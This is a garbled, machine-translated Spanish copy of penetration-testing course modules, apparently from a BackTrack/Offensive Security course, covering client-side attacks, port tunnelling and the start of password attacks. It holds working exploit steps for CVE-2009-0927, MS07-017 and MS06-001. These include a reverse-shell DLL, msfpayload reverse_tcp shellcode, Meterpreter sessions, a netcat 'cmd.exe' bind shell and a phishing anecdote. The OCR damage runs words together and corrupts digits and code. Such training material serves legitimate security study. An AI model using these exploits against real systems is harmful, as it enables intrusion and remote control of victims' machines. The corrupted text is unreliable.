admin/oracle/tnscmd normal TNSLsnr Command Issuer
admin/pop2/uw_fileretrieval normal UoW pop2d Remote File Retrieval Vulnerability
admin/postgres/postgres_readfile normal PostgreSQL Server Generic Query
scanner/dcerpc/endpoint_mapper normal Endpoint Mapper Service Discovery
scanner/dcerpc/h idden normal Hidden DCERPC Service Discovery
scanner/dcerpc/management normal Remote Management Interface Discovery

test/capture normal Simple Network Capture Tester

msf >
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10. Modulo 10: ClientSide Attacks

Este mddulopresenta losconceptos y los mecanismodetras de los ataqueslel lado del
cliente

Objetivos del moédulo

Al final deeste modulq los estudianteslieben:

1. Comprender losconceptos detras ddos ataquesdel lado del clientey como se relacionan
con la redinfraestructura

2. Ser capaz deecrearla vulnerabilidadMSO7017 yterminar con unexploitfunciona en
WindowsXP.

3. Use el ladocliente existenteexplotapara comprometermaquinas de laboratoriovictima asi
como ejecutarcliente ataquessecundariosa través delMetasploit Framework

4. Ser capaz deejecutarcompilacion cruzadade Windows DLLen BackTrack.
informesAvisoes necesario para estmédulo como se describe eros ejercicios.

Ataquesdel lado del clienteson probablemente la forma masnsidiosa deataque a distancia.
Un ataquedel lado del clienteimplica explotaruna debilidad en el softwarecliente, comoun
navegador(en oposicion asoftware de servidgrtal como unServidor FTRXon el fin de
obtener accesaca una maquinalLamaldadde los ataquedel lado del clientese deriva de la
hecho de queel ordenador de la victimano tiene queser enrutableo directamente accesible
para el atacanteComo siempre y cuando lavictima escapaz de navegar poel sitioatacante,
el ataque puedeocurrir.

Como administrador de redes relativamentdacil deproteger un Unico servidorSin embargq
la proteccion yseguimiento de todoslos clientes de la recho es una tareasimple.Ademas
supervision y actualizacion

versiones de softwaré¢por ejempb, WinZip, Winamp, WIinRAR, etc) en toddss clientes de la
red es unatarea casiimposible.
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10.1Implicacionedde red
Examine ebiguiente escenario:

Eire¥¥all Rules

Inbound Deny All

Qutbound port 80 only

s

Sl
Attacker

Outbound HTTP connection
Malicious HTML with Exploit code

Reverse Shell

La victimanavega porel sitio del atacantdquizas debido aun ataque de ingenieriasocial).

2. HTMLmaliciosoexplotala vulnerabilidaddel navegador yejecutashellcode.

3. Shellcodees un shelinversaa través del puerto 443e la maquinadel atacante.

Piense en lagonsecuencias dein ataque comoesteen términos decortafuegosde inspeccion
de estada ¢ Qué tipode las mitigacionese te ocurrendesde una perspectivae redespara
ayudar a prevenireste tipo de ataque8
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10.2CVE2009-0927

ElAdobe Acrobat geticon () Vulnerabilidad de desbordamientale pila
http://cve.mitre.org/cgibin/ cvename.cd? name = CVE2009-0927)fue abusadoampliamente a
través de2009 y 2010.

Los detalles técnicos desta vulnerabilidadson:

This vulnerability allows remote attackers to execute arbitrary code on

vulnerable

installa  tions of Adobe Acrobat and Adobe Reader. User interaction is required in
that a user

must visit a malicious web site or open a malicious file.

Para recrealeste ataque use unexploit publico (http://www.exploit db.com/exploits/9579)
publicados porkralor. La victimasera suWindows XPmaquina de laboratorio(con Acrobat
instalado)

root@bt:~#  wget http://exploit - db.com/sploits/2009 - CVE 2009 - 0927_package.zip
root@bt:~#  unzip 2009 - CVE 2009 - 0927_package.zip
root@bt:~# cd CVE- 2009 - 0927_package/

root@bt:~/CVE - 2009 - 0927_package# nano evil_payload.c

Configurarla cargaDLL conla direccionlPy el puerto deatacara la que deseauna concha
reversa
enviado el

/* evil_payload.c, reverse remote shell as a DLL

* HOWTO compile with MSVC++:

* ¢l /LD evil_payload.c

* [Coromputer] raised from the ashes.

* 23/06/2009 - Created by lvan Rodriguez Almuina (kralor).All rights reserved.

*/
#define HOST "127.0.0.1"

#define PORT 80

#define COMMAND "cmd"
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A continuacion, compileel archivo DLLy fusionarla corun archivoPDF utilizandola secuencia
de comandosPython exploit

r oot@bt:~/CVE - 2009 - 0927_package# cd /root/.wine/drive_c/MinGW/bin/

root@bt#  wine gcc.exe - shared /root/CVE - 2009 - 0927_package/evil_payload.c -0
/root/CVE - 2009 -

0927_package/output.dll - lws2_32

/root/CVE - 2009 - 0927_package/evil_payload.c: In function "DIIMain':

/root/CVE - 2009 - 0927_package/evil_payload.c:81: warning: passing arg 6 of
“CreateThread' from

incompatible pointer type

root@bt:~/.wine/drive_c/MinGW/bin# cd -

/root/CVE - 2009 - 0927_package

ro ot@bt:~/CVE - 2009 - 0927_package# python evil_pdf.py victim.pdf output.dll

- =[Crpt] Acrobat Reader - Collab geticon univeral exploiter [Crpt]= -
created by Ivan Rodriguez Almuina aka kralor

2009 all rights reserved

Coromputer ~~~ Coromputer
[ - ] Creating PDF file 'victim.pdf' DLL file 'output.dll' ...

[ - ] Reading DLL data ...

[ - ] Preparing payload (javascript+shellcode+dll) ...

[ - ] Writing PDF file 'victim.pdf' with payload inside ...

[+] Done, [Coromputer] is alive! alive!

root@bt:~/CVE - 2009 - 0927 _package#

odll ~R
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Una vez que unavictimavulnerableabre el archivousted debe obtener unshellinversa:

root@bt: ~/CVE-2009-0927 package - Shell - Konsole

Session Edit View Bookmarks Settings Help

: # nc -lvp 443
listening on [any] 443
192.168.8.246: inverse host lookup failed: Unknown server error : Connection tim
ed out

connect to [192.168.8.173] from (UNKNOWN) [192.168.8.246] 10834

Microsoft Windows XP [Version 5.1.26080]

(C) Copyright 1985-2881 Microsoft Corp.

C:\Documents and Settings\offsec\Desktop=|]
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10,3MSO0%#017:De PoCa Shell

Una dela parte mas desagradableliente atacasiempre paragolpear Microsoftes
probablementeel Windows de MicrosoftAnimated CursorCaédigo vulnerabilidad de ejecucién
remota: MSO7%017.

El codigovulnerableestuvo presenteen todas las versionede Windowshasta eincluyendo
WindowsVista.Todasaplicaciones quautilizanla API estandar déVindows paracursorese
iconosde cargase vieron afectadosEsta listancluido el Explorador de Windowslnternet
Explorer,Mozilla Firefox Outlook yotros.

La vulnerabilidadouede ser explotada poun tenerunavictimavisia una paginaweb maliciosa
o el envio de unavictimaun mensaje decorreo electronicoHTML.Los resultadosie ataque en
la ejecucion de codigaemoto en elequipo de la victimacon el privilegios del usuario quéna
iniciado sesion

Echa unvistazo alinforme de vulnerabilidadnicialpublicado el 31 de marzode 2007,y tratar
de recrearla ataque: http://www.offensive security.com/pwbonline/ani.html

Comience por creaun archivoANI maliciosq como se demuestran el informe dela
vulnerabilidad:

00000000 52 49 46 46 90 00 00 00 41 43 4F 4E 61 6E 69 68 RIFF....ACONanih

00000010 24 00 00 00 24 00 00 00 02 00 00 00 00 00 00 00 $...$...........

00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 Q0 ................

00000030 00 00 00 00 01 00 00 00 61 6E 6968 58 0000 00 ........ anihX...

00000040 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

00000050 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

00000060 00 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 . AAAAAAAAAAAA AAA
00000070 41 41 41 41 41 41 41 41 41 41 41 41 00 00 00 00 AAAAAAAAAAAA....

00000080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 OO ................

00000090 42 42 42 42 43 43 43 43 BBBBCCCC

Copie la estructurainaria del archivoy pegaren en un archivo binario,como se muestra erel
acompafiamientovideo:

root@bt:~# catani|cut -d"" -f2-22|sed's/ /lg'
524946469000000041434F4E616E6968
24000000240000000200000000000000
00000000000000000000000000000000
0000000001000000616E696858000000

41414141414141414141414141414141
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41414141414141414141414141414141
00414141414141414141414141414141
41414141414141414141414100000000
00000000000000000000000000000000
4242424243434343

root@bt:~#  catani| cut -d"" -2 -22|sed's/ /g’ >exploit.hex
A continuacioén, puedelamar a este archivanalformado ANl a través de ungpaginaHTML:
<htmlI>

<bodystyle="cursorurl('exploit.ani')">Muhahaha</ body>

</ html>

Una vez que estgaginase sirvea una maquinavulnerable los accidentegle InternetExplorer.
Este accidentess discretay no produce un error visualporque el desbordamiento se tratacon
graciadentro de Internet Explorer.
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ConecteOllyDbg al proceso de Internet Explorepara inspeccionar ehccidente:

Se puede ver queel PoCya haidentificadolos bytessobrescribirEIP.

A primera vista parece queninguno de losregistros deconducir acualquier tampénatil. Sin
embargo, después de unanas estrechanspeccionyveras queEBXcontiene un punteroal
comienzodel archivoANI a la cabeera RIFF.

Debido a que laestructura de archivo®\NI es rigido,no se puede simplementeolocar el
shellcodedonde quieras.Mas bien,usted debe mantenerel formato de archivoANI parael
archivo que sdee correctamentey ser capaces delesencadenata vulnerabilidad.
Afortunadamente, ekddigo de operaciongenerada por elRIFFcaracteresASCII nadestrozarel
apilaro alterar el flujo deejecucidénde manera significativa

Después de miramas profundamente erel formato de archivoANI, ustedvera que used
puede utilizar unpar de bytesinmediatamentedespués de la cabecerRIFFustedtendra que
usarestoscreativamentepara llegar a lashellcode.
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Busque unjmp [EBX] comandddireccién de retorng, que sustituira a laactual\ x42\ x42\ x42
\ x42amortiguar yencontraruno adecuadoen user32.dll.

Después de actualizar edxploit con estanueva direccion de retorngy la colocacion de dos
puntos de corteinmediatamentedespués dela cabeceraRIFEse le redirigeal iniciode la
cabeceraRIFFdonde sepuede ejecutarel RIFFopcodes cabeceraequivalentes yse detienen en
los puntos de interrupcion

OllyDbg - iexplore.exe - [CPU - main thread]

File View Debug  Options  Window  Help

Paued | BIAGX] PN b3 L) ) o LIEMITIWH|Cl/] EJE

BzEEaaEE FUSH _ED= Wpspares. 8l 2FBaa1 "

BzEEa881 43 DEC ECH ntdll.7Co1B5EC —_—

azeEaaE2 45 IMC ESI

A2 HEARAES 45 IMC ESI bz
cC INT2

Bz0EaaES cC INT=2

BZEEAEE f]ala]c] ADD EYTE PTR DZ: [ER=D, AL

B2EEEEES 41 IMC ECK ntdll. 7018560

B2EEEEET 43 INC EEX

B2 EEEEER 4F DEC EDI

B2EEEEEE 4E DEC ESI

B2EEEREC &1 FOFAD

B2EEEEED &E ouTS O, BYTE PTR ES:[EDI] I-0 command

B2EEEEEE 6962 24 BEEOE0z4 | IMUL EEF,DWORD FTR DS: [EAN+241, 24600606

B2EEEE1S BEEE AOD BYTE PTR DS: [EAXI, AL

B2EEEE]1F BEE2 AOD EBYTE PTR DS: CEDMI, AL

B2EEEE1D BEEE AOD BYTE PTR DS: CEAXI, AL

B2EEEE1E BEEE AOD BYTE PTR DS: CEAXI, AL

B2EEEE10 BEEE AOD BYTE PTR DS: CEAXI, AL

B2EEEE1F BEEE AOD BYTE PTR DS: CEAXI, AL

B2EEEEZ1 BEEE AOD BYTE PTR DS: CEAXI, AL

B2EEEE23 BEEE AOD BYTE PTR DS: CEAXI, AL -

FI?IPIF!?PI?F. ARAA Ann RYTE PTR NS: TFAXT.AI

4 4

Ahora que tienela ejecucion de comando$asica debeinsertar elcodigo shellen la animacién
archivo de cursoly encontrar unamanera dellegar a ella.
De forma segura puedeafiadir elshellcodehasta el final dda ANI utilizando msfpayload

bt# /pentest/exploits/framework3/msfpayload windows/shell_reverse_tcp

EXITFUNC=none LHOST=192.168.8.99 LPORT=443 R >> exploit.ani

ol ¢
P ‘ @BackTrackAcadem ‘* fb/BackTrackAcademy




Pagina] zzzaq

El archivo resultanteleberia tener este aspecto

| f ] i
DoooooAD FF 60 BB 6C 24 24 8B 45 3C 8B JC 05 78 01 EF BB
DogoooRe  4F 18 BB 5F 20 01 EB 49 8B 34 8B 01 EE 31 CO 99
popoeace AC 84 C0 ¥4 07 C1 CA 0D 01 C2 EB F4 3B 54 24 28
DopoooDe Y5 ES BB 5F 24 01 EB 66 8B OC 4B BB 5F 1C 01 EB
pDopoooEe e@3 2C BB 89 6C 24 1€ 61 C3 31 DB 64 8B 43 30 BB
pppooaFe 40 6C BB ¥ 1C AD 8B 408 88 5E &8 B8E 4E OE EC 508
Dopooloe FF DB &5 53 66 BB 33 32 &8 77 73 32 5F 54 FF DO
ppgoolle &8 CBR ED FC 3B 50 FF D& 5F 89 E5 66 81 ED 08 02
DEeoe128 55 6A 02 FF DO &8 D9 09 F5 AD 57 FF D& 53 53 53
DOEOO15S0 53 43 53 43 53 FF DD 68 CO A2 08 67 66 68 01 BB
Dpoool48 66 53 89 E1 95 68 EC F9  AA B0 57 FF D6 64 10 51
pDopools0 55 FF DO 66 6A 64 66 6B 63 6D 6A 50 59 29 CC &89
Dopooled EV BA 44 89 E2 31 C0 F3  AA 95 B9 FD FE 42 2D FE
popoolye 42 2C 8D A 38 AB AB AR B8 V2 FE B3 16 FF 75 28
pogoolase FF D& 5B 57 52 51 51 51 B1 51 51 55 51 FF D@
opEoe1oe &8 AD D9 05 CE 53 FF Dé FF FF 37 FF DO &8 E7
DopoolAD V9 Ce VO FF V5 D4 FF D& FF 77 FC FF DO 68 FO BA

Ahora tiene queencontraruna manera de llegar desddos puntos de ruptura(en bytes5,6)al
inicio de lashellcode.

Por desgraciano se puedesaltar directamente a Iahellcodeporque es situadodemasiado
lejos, yes elespaciolimitado enlos tipos de comandogjue puede ejecutarDespués de
inspeccionara estructura de archivos\NI una vez masdescubrird que usted puedeisar dos
bytesadicionales deblrchivosin arruinarsu estructura lfytes 29,30).
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Desdeesta posicion se puederealizar un saltacorto a lashellcode.
Después de modificar ebxploit, creardos "saltosisld' directamente a lashellcodey finalmente

ganar completamentela ejecucion de codigocontrolado

m (UNKNOWN) [192. 168, 9.99]
N 5. 1,2600]

(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\offsec\Desktop=j

1120
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10,4MS06001: Un ejemplode MSF

Otra vulnerabilidaden sistemas Windows$orrendo era vulnerabilidad en el motoide proceso
de gréaficos(WMH. Esta vulnerabilidagfecta a todos lossistemasoperativos de Microsoft
desde Windows 2000 ¥ista,y fue abusadofuertemente en el momenta Ademas,un exploit
paraesta vulnerabilidadue puesto en libertadantes deMicrosoft tuvola oportunidad de
revisary parchearla vulnerabilidady los usuarios finalese expusieron durante
aproximadamente dos semanasasta que elparchefue publicado.

ElMetasploit Frameworkcuenta coneste exploit. Trate deponerlo en marcha}

root@bt:~#  cd /pentest/exploits/framework3/

bt framework3 # JImsfcli |grep - i wmf

exploit/windows/browser/ms06_001_wmf_setabortproc Windows XP/2003/Vista Metafile
Escape() SetAbortProc Code Execution

bt framework3 # ./ msfcli exploit/windows/browser/ms06_001_wmf_setabortproc O

Name Current Setting Required Description

SRVHOST 0.0.0.0 yes The local host to listen on.

SRVPORT 8080 yes The local port to listen on.

URIPATH no The URI to use for this exploit (default is random)

bt framework3 # JImsfcli exploit/windows/browser/ms06_001_wmf_setabortproc
PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.8.102 SRVPORT=80
URIPATH=0day E

[*] Started reverse handler

[*] Using URL: http://0.0.0.0:80/0day

[*] Local IP: http://208.68.234.98:80/0day

[*] Server started.

[*] HTTP Client connected from 192.168.0.100:1079, sending 1436 bytes of
payload...

[*] Got connection from 192.168.0.155:443 < ->192.168.0.100:1080
[*] Sending Intermediate Stager (89 bytes)

[*] Sending Stage (2834 bytes)

[*] Sleeping before sending dll.

[*] Uploading dll to memory (69643), Please wait...

[*] Upload completed
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meterpreter>

[ -=connected to = -]

[ -=meterpreter server = -]
[ -=v.00000500= - ]

meterpreter>

Cuando se utiliza urexploitlado del clienteen MSF. especificamente con laarga util
Meterpreter, recuerde siempregpara migrar la instancidMeterpretera un proceso diferente Esto
impide que el caparazdnde la muerteporque el usuariotermina lavictimano responde
aplicacion vulnerabldado del cliente.

10,5ClientSideExplotaen Accion

Yo estaba involucradaecientementeen un ensayo decelda en la quéla organizacion a la que
estabaatacandotenido un ataquemuy limitado superficie No se encontraronpaginas web o
direcciones IRublicas inclusolos servidoregle correode la organizaciénfueron alojadasen
un terceros.En este casphe optado porimplementarun ataquedel lado delcliente

Yo goog-mail.pypara cosechadirecciones de correo electronicpertenecientes a la
organizacion 38 en totaly se enviacada direccién deun mensajecuidadosamente elaborado
animando al usuario &ntrar en misitio web.En dltima instancia? de los 38visito misitio web.
Utilizando técnicagle puertosde tlnel (podrasver esto enun madulo posterior) estaba
facilmenteacceder atodas las maquinasle la red internay obtener privilegiosadministrativos
de dominio.

Piense en el impactale esosatagues,teniendo en cuenta queen casi cualquier momento
dado, hay vulnerabilidaden algunos programas delientefrecuente.La estadistica es
espantosa En 2006, Internet Exploreara vulnerable dos errores conocidopara 284dias:
http://blog.washingtonpost.com/securityfix/2007/01/internet_explorer_unsafe_for_2.html
Las estadisticas par2007 sonaln peores.Una lista magecientede vulnerabilidadegyenerales
se pueden encontrar efos dos siguientegnlaces:

http://research.eeye.com/html/alerts/zeroday/index.html
http://osvdb.org/browse/time_to_patch
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11. Modulo 11: Funpuerto

Este mddulo presentaarias técnicas paral reenvio de traficoTCPy tuneles.estas técnicas
se implementan ercaso de un ataquecomplejo.

Objetivos del médulo

Al final deeste médulq los estudiantesleben:

1. Comprenderlas diferencias entréa redirecciobnde puertos ytlneles,y ser capaz de
aplicar, enuso de diversaserramientaspresentes erBackTrack.

2. Ser capaz desncapsularel trafico medianteSSLy HTTP.

3. Ser capaz de utilizatécnicas de tineleSSHpara acceder a maquinade otro modo
nonroutabley redes

Avisoes necesario para estmédulo como parte de ahquesadicionales en el dominio
THINC.local

Este capitulo trata déas diversas formas deedireccion de puertosy tineles Estas técnicas son
realmentediversionde implementar ypuede golpearcon la boca abierta sobre todocuando

se llega aun tinel SSHtécnicas

Puertotuneles yredireccion deproporcionar herramientas quirdrgicapara tratar conel trafico
TCP yUDP.Ellos lepermiten para controlarla direccion del flujode trafico, que a menudo
puede ser Gtilen ambientes restringidos.
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11.1Redireccién depuerto
Redireccion depuertosimplicaaceptartrafico en unainterfaz de reden un puerto especificoy
redirigirlaa una direccionlP diferente/ puerto.

Esta capacidad puede seftil en varias situacione€onsidereel siguiente escenario:

Outbound port 80 only ¢ Home Computer

e

574

IRC Server

Listening port 6667

Imaginese que usteesta en la oficinaque esta protegidopor un cortafuegoscon las estrictas
reglas de salidapermitiendo séloel trafico saliente erel puerto 80 finguna inspecciérde
contenido).Usted es umdicto IRCy debe serconstantemente

conectadoal servidor delRCfavorito para mantener su saludnental.

Ensu ordenador personalusted puedeescuchar en el puert@0,y redirigirtodo el trafico
entrante aese puerto parael servidor de IRCel puerto6667.

Hay variosredirectoresde puertos paraplataformasWindows, comoFPipey winrelay Mi
favorito Redireccionamientserinetd, que esta presenteen BackTrack
Vamos aresolverel problema:

- Ordenador principal:85.64.228.230
- ServidorIRC:irc.freenode.net

Puede onfigurarrinetd usando / etc / rinetd.cont

85.64.228.230 80 irc.freenode.net 6667
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A continuacion, ejecuteinetd y tratar de conectar a suordenador de casaen el puerto80:

C:\>nc -nv 85.64.228.230 80

(UNKNOWN) [85.64.228.230] 80 (?) open

NOTICE AUTH :*** Looking up your hostname...

NOTICE AUTH :*** Checking ident

NOTICE AUTH :*** No identd (auth) response

NOTICE AUTH :*** Found your hostname

Usted estécorrectamenteredirigido a un servidodRC.Ahora puedesefialar con etlienteIRC
para conectarse d'Server'85.64.228.230el puerto 80.Debido a que estaedirigiendo el trafico
a travésdel puerto 80 no se bloqueapor el firewall de la empresa

Outbound port 80 only

—_—

=_.

me
<2

Office
(Private |P Address

ok
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Home Computer
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IRC Ser\'/er
Listening port 6667
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11.2 EncapsulaciorSSLStunnel

Segun lo descrito posus autoresStunnel(http://www.stunnel.org/) esté disefiado paraabajar
como SSlenvolturade cifradoentre el clienteremoto y el servidorlocal o remoto.Se puede
utilizar para afiadirSSLfuncionalidada los demoniosde uso comdn comoPOP2 POP3|MAPy
servidoressin ningin cambioen el codigo de programa

Stunneltambién se puede utilizapara cifrarel trafico,para ayudar a prevenivarios ataques
MITM, o evadirIDS/ IPSsistemasEn esta seccion sexamina unescenario en el quain
servidor de correocompatible conconexionesSSl,.pero sucliente de correono tiene soporte
SSLEstagpreocupado de queun atacante podriaespiar enel localLAN,y que le gustaria
afadir soporteSSL a swliente de correo.

e

Mail Ser\’/er
.\ SSL POP3
0

&yj on port 995

Office

P a7
'Y,

En el equipode oficing debe configurarStunnelpara escuclar en127.0.0.1puerto 110,
encapsular yredirigir todo el traficoque vienea este puerto pareael servidor de corregel
puerto 995 (POP3SSL)Si usted trata denablar con estepuerto TCPen RAW no obtiene
respuestaporque el servidor de correcesperaun apretén de manosSSL.:

root@bt:~# nc -v208.69.121.74 995
vnemous.nexcess.net [208.69.121.74] 995 (pop3s) open
AC punt!

root@bt:~#
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Configurarel directorio / usr/ local / etc / stunnel /stunnel.conf(copiade / usr/ local / etc /
stunnel /stunnel.confsamplig

cert = /J/usr/locall/etc/stunnel/mail.pem; Dondt forget
; Some security enhancements for UNIX systems - comment them out on Win32

chroot = /usr/local/var/lib/stunnel/

setuid = nobody

setgid = nogroup

pid = /st unnel.pid

client = yes

; Service - level configuration

[pop3s]

accept =127.0.0.1:110

connect = 208.69.121.74:995

EjecutarStunnely ahora deberiaser capaz de conectarsal servidor de correccompatible con
SSla través del puertol10en 127.0.0.1:

root@bt:~#  openssl req -new -x509 -days 3650 -nodes - outstunnel.pem - keyout
stunnel.pem

root@bt:~#  mv stunnel.pem /usr/local/etc/stunnel/mail.pem
root@bt:~#  stunnel

root@bt:~# nc -v127.0.0.1 110

localhost [127.0.0.1] 110 (pop3) open

+OK Hello there.

USER myusername

+OK Password required.

PASS mypassword

- ERR Login failed.

QUIT

+OK Better luck next time.

root@bt:~#
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VariossistemadPSreconocerbind Netcaty firmasinversashellde red y son capaces de
detenery matar ala conexién.En estos casosstunneles especialmente Gtporque los sistemas
IDSrara vez puedenparainspeccionar el trafic@isSLTrate deponer en practica unNetcat
sesion encriptadé&SSLTenga en cuenta quda escuchaNetcatdebe tenercliente= no en su
stunnel.conf
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11,3HTTPCONNECTUnel

El métodoHTTPCONNECT establecena conexién de tuneh través del proxya un destino
servidor.La intencionoriginal del métodoCONNECTera permitir queun tinelde SSLpero
también permitetlinel paraotros puertos.

Consideremos, por ejemplola siguiente situacion:

85.64.228.230

2]

| S
A

nonymous Proxy
(CONNECT)

83.130.79.89

N 3 85.64.226.117
= |

<

Attacker

Victim

- Victima:85.64.226.111shellescuchando en el puert@®030)
-Atacante:83.130.79.89
- Proxy:85.64.228.23@escuchadel proxyen el puerto 8888)
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La victimatiene unacéscarabind Netcatesperandoen el puerto3030.Por razones decautela
gue deseaconectarse aesa conchaNetcata través de unproxy.Usted puede hacer esto
mediante el métodoCONNECT:

root@bt:~# nc -nvv 85.64.228.230 8888
(UNKNOWN) [85.64.228.230] 8388 (?) open
CONNECT 85.64.226.117:3030 HTTP/1.0
HTTP/1.0 200 Connection established

Proxy - agent: tinyproxy/1.6.3

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985 - 2001 Microsoft Corp.
C:\ WINDOWSsystem32> ipconfig

ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection 2:

Connection - specific DNS Suffix . :

IP Address. ...........:85.64.226.117
SubnetMask . ..........:255.255.255.0
Default Gateway . . .......:85.64.226.1

C:\ WINDOWSsystem32>

Esto edo que la conexionNetcat en la maquinavictimase ve asi:

C:\ WINDOWSsystem32> nc - Ilvp 3030 -ecmd.exe
listening on [any] 3030 ...

connect to [85.64.226.117] from [85.64.228.230] 48122

Néteseque la IPde la maguinague se conectase identifica comd35.64.228.23Gu servidor
proxy.
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11,4ProxyTunnel

Segun lo descrito posus autoresProxyTunneks un programa queconectastdiny stdouta un
servidoren algun lugar dela red a travésde un proxyestandar quesoporta el método
CONNECTComplacerlea el siguiente articul@obre ProxyTunnel

http://proxytunnel.sourceforge.net/paper.php

ProxyTunnebprovecha eimétodo HTTPCONNECTpara que puedasacar el maximo provecho
de estostunelizacioncaracteristicasSe ocupa dela creacion del tineHTTPy crea un socketle
escuchade red a través del cuatransmitir suinformacion a través detlinel. Intentevolver a
conectara la carcasavictimaNetcat, esta vez utilizandd®roxyTunnel

root@bt:~#  proxytunnel -a80 -p85.64.228.230:8888 -d 85.64.226.117:3030
root@bt:~# nc -v127.0.0.180

localhost [127.0.0.1] 80 (http) open

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985 - 2001 Microsoft Corp.

C:\ WINDOWSsystem32> ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connecti on2:
IP Address. ...........:85.64.226.117
SubnetMask . ..........:255.255.255.0

Default Gateway . . .......:85.64.226.1

C:\ WINDOWSsystem32>
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11,5tanel SSH

TunelSSH esuna técnica sorprendentgara cifrar eltraficoy acceder adas maquinagie otra
maneranonroutable de una manera seguraEsta técnica a menudeoconesprimeros
contadores de tiempoy requiereuna gran cantidad deandlisisy experimentacion pardlegar a
sercomodo.

Lea el siguiente articulantes de continuarhttp://docs.cs.byu.edu/general/ssh_tunnels.html
Sesiones SSKon capaces de creatanales bidireccionalegue se pueden utilizapara reenviar
a distanciay conexionedocales.Esta caracteristice permite hacerque parecen imposible§CP
/ UDP manipulacionedde tréfico.

Examine ebiguiente escenario:

EireWall Rules

Inbound Deny All

Outbound port80 only

-~

Z

Attacker

SSH Session - Outbound port80
Tunneled RDP connection, inbound 3389

Imagine queun atacante harecibido una conchareversade una victimaen una red
nonroutable Estavictimatambiénde escritorio remoto puerto TCP3389)habilitado ensu
maguina.Elatacante tiene lanombre de usuario /contrasefia para lanaquina de la victima
(que se obtienepor la contrasefiade dumping/ hash grietas,keylogging o similar)y quiere
conectarse al servicide la victimade escritorio remoto.Tenga en cuenta queel victimaesta en
una red nonroutable detras deNAT.
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El atacante puedeonfigurarsu servidorSSHpara que escuche erl puerto 80,y puede crear
un tinel SSHentre el equipo atacante y elequipo de la victimaen el puerto 3389se redirige
desdeel equipo de la victima la maquinatacante El atacantepuede conectarse ahora au
direccion127.0.0.1 en el puerto3389,y serenviado de nuevo da maquinavictima.Por favor,
vuelva a leeresto cuidadosamente.

Aqui estaun primer planode loscanales & comunicacion:

Port 3389
-~ Port 3389

Victim Attacker

SSH Session - Outbound port80

«—>» Tunneled RDP connection

Esta biensi usted encuentra esteonfusoal principio.Deja quehierva a fuego lentoy probar
los ejercicios.

En este ejerciciocrearaun tinel entreBob yAnne.Bob esta detras deNATy Anneharia
desea conectarsal serviciode Bob RDP .Ella le pide aBob para crear untinel SSH desdesu
maguinaa su equipo local,ejecute un servidoiSSH.

Bob esta ejecutando WindowXPy Anneesta ejecutandd.inux.Bob utiliza el cliente deSSH
para Windowsplinky crea eltinel:

plink  -Iroot -pwpassword -C -R 3389:127.0.0.1 :3389 <anne'sIP>

port to relocate on Anne's machinelocal IP: source port to tunnel

Puertode trasladara maquinade Anne IPlocal: puerto de origenpara hacer un taned
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Una vez creadaAnne ve queellaahora tiene unpuerto de escuchaRDP(3389)en sulocal
127.0.0.1IP.en estemomento, sepuede conectar aestalP medianterdesktopy conectara la
computadoraBobs

Estemétodo puede ser extendidaa otras IPgjue puedan enrutarsea la victima.Examme la SSH
tunelesvideos ytratar de recrearel ataque.Si no puedeencontrarel ambiente adecuadcen el
derecholaboratorio Ahora, no te preocupestendrasmuchas oportunidades de practicagsto
en losretosde laboratoriofinales.

11.6¢Qué pasa cona inspeccionde contenido?

Hasta ahora usted haatravesadolas reglas de firewalbasadas en filtroportuarias yde
inspeccioncon estado.¢Quésucede shay undispositivo de inspeccionle contenido enla red
gue no permite que ninglnprotocolo a ciegasde la puertos especificoBEn este casoa
conexién anteriorsalienteSSHal puerto 80 estaria bloqueadgorque los filtrosde inspeccién
de contenidosse daria cuentale que unprotocolo distinto deHTTPesta tratando desalir
adelante.

Con un poco depensamiento creativcse vera quela combinacion deun tiinel SSHy puede
ProxyTunnekuperar muchosnecanismos de inspeccidéde contenidoporque el tinelSSHque
sibeencapsulatecen HTTPo HTTPS
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12. Modulo 12: Ataques Contraseia

Este modulo presenta los conceptos detras de las diversas formas de atagees
contrasefia, también en lineataques y grietas hachis fuera de linea.

Objetivos del médulo

Al final de este modulo, los estudiantes deben:

1. Entender mediante programacion losiecanismos detras de crackers de consefias
en linea y fuera de lineascribir scripts python pertinentes.

2. Ser capaz de crear sus propios y especificos de la organizacion perfiles y listas de
contrasefias.

3. Sé profiecient en el uso de John the Rippeaira romper varios formatos de hash.

4. Poseer un conocimiento practico de la utilizacion de Rainbowtables y picadillo GPU
aceleradaagrietamiento técnicas.

Aviso es necesario para este moédulo como parte de ataques adicionales en el dominio
THINC.local.

Una Nota del Autor

En mi experiencia, las contrasefias débiles son uno de los principales agujeros de
seguridad en reds internas. Hago hincapié en lpalabra interna porque no suelo
encontrar contrasefias débiles en servicios extes. Los administradorede red han
comenzado a entender los peligros contrasefias débiles pueden representar, y, como
resultado, su redperimetro es generalmente bien protegido en este respecto. Sin
embargo, la red interna es por lo general déhilontrasefia cielo. Muy a menudo en
blanco identificar contrasefas, contrasefias, tales como copia de seguridad y 12345,
contrasefias que son idénticas al nombre de usuario o tener unos niameros anexo al
mismo (nombre de usuario: mutg;ontrasefia: muts12).

Personalmente, creo queomo unatecnologia,basada en contrasefide autenticacién esina
de lasformas mas débiles deerificacion del usuarida razén principal es quda mayoria de las
veces la eleccion dda contrasefa se dejal usuario(que, comoustedes saben, ek parte mas
débil de la cadena de seguridag

Inclusosi las contrasefiano son creados por el usuaripsi, por ejemplogen que se generarde
forma aleatoriala seguridad de loda contrasefia saleja al usuarioEs sorprendentemente
comun que los usuario®scritorsu contrasefia en umota adhesivay mantenerla ensuteclado.
Por desgraciaparece quelas politicagle las empresas ngon capaz de hacer cumplita
contraseiia de segurida@ un nivelsatisfactorio.

En este médulo sgresentan cuatradiferentes vectoresle ataque de contrasefiaataquesen
linea fuera de lineade contrasefiaataques a contrasefigataquesde memoriade contrasefias
y ataquesfisicosde acceso.
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12,1ataques de contrasefi&n linea

Cualquierservicio de redque requiereun usuariopara iniciar gsiénes vulnerable aadivinar la
